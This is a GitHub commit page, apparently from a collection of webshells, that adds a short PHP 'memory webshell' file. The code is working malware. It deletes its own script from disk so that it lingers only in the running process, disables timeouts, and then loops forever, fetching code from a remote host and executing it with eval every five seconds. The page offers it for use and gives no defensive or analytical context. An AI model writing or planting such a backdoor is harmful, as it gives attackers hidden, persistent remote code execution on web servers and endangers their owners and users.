Skip to content

Commit

Permalink
add MemphpShell @memshell 👍
Browse files Browse the repository at this point in the history
  • Loading branch information
tennc authored May 26, 2021
1 parent 89d889b commit 28770e0
Showing 1 changed file with 13 additions and 0 deletions.
13 changes: 13 additions & 0 deletions php/MemShellForPHP/memWebshell.php
Original file line number Diff line number Diff line change
@@ -0,0 +1,13 @@
<?php
chmod($_SERVER['SCRIPT_FILENAME'], 0777);
unlink($_SERVER['SCRIPT_FILENAME']);
ignore_user_abort(true);
set_time_limit(0);
echo "success";
$remote_file = 'http://10.211.55.2/111/test.txt';
while($code = file_get_contents($remote_file)){
@eval($code);
echo "xunhuan";
sleep(5);
};
?>

0 comments on commit 28770e0

Please sign in to comment.